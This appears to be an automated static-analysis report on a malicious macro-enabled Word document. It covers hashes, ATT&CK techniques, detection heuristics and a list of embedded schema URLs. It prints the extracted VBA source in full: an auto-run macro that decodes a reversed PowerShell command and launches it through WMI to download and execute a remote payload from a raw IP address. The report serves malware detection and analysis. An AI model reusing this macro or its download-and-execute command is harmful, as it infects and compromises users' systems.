Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e880f9dfb5f6a973…

MALICIOUS

Office (OOXML)

22.0 KB Created: 2021-09-28 08:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-01
MD5: d803b5517051531894fec7f1f63c5e7f SHA-1: f1dac519a2785b4e567c34210d729cce23a5fc99 SHA-256: e880f9dfb5f6a9736c38053a8decacb14698b2b6e83e139aafe06edd5fe7edf9
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains obfuscated VBA macros, including AutoOpen and Document_Open functions, which are designed to execute automatically. The script decodes a string that ultimately constructs and executes a PowerShell command to download and run a second-stage payload from the URL 'http://081.53.33.04:443/payload/download.txt'. This indicates a downloader or droppper functionality.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1815 bytes
SHA-256: eab0244d81345d609f174c80bc81baf577b9d30a7a4485788ff5b9eb7a7a7548
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Function ToDec(myString, incrementBy)
    Dim Counter As Integer
    Dim output As String
    For Counter = 1 To Len(myString)
        MyDecimal = Asc(Mid(myString, Counter, 1))
        output = output & " " & MyDecimal
         
    Next
     
    ToDec = output
End Function
 
Private Function DecToLetter(str As Variant) As String
    Dim tmp As Integer
     
    Length = Len(str)
    For i = 1 To Length
        CH = Mid(str, i, 1)
        If CH Like "[0-9]" Then
            tmp = tmp & CInt(CH)
        End If
    Next i
    DecToLetter = CStr(Chr(tmp))
 
End Function
 
     
Private Function sSplit(myString, decrementBy)
    Dim output As String
    Dim arr() As String
     
    arr = Split(myString, " ")
       
    Dim letter As Variant
     
    For Each letter In arr
        output = output & DecToLetter(letter)
    Next
     
    sSplit = output
 
End Function

Function random_eggs(eggs)
random_eggs = StrReverse(eggs)
End Function


Private Sub Test()
Dim myString
myString = "))))'txt.llehsrewop/344:0.33.851.08//:ptth'(gnirtsdaolnwod.)tneilcbew.ten.metsys tcejbo-wen((gnirtS46esaBmorF::]trevnoC.metsyS[(gnirtSteG.edocinU::]gnidocnE.txeT.metsyS[(xei c- pon- ssapyb cexe- llehsrewop"
 OBS = ToDec(myString, 10)
    original = sSplit(OBS, 10)
GetObject(random_eggs(":stmgmniw")).Get(random_eggs("ssecorP_23niW")).Create random_eggs(original), Null, Null, pid


End Sub


Sub Document_Open()
Test
End Sub

Sub AutoOpen()
Test
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: a01f2743a4a3ca9272df170d4e1a707a9060791a86422de98ba9ed917533757e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).

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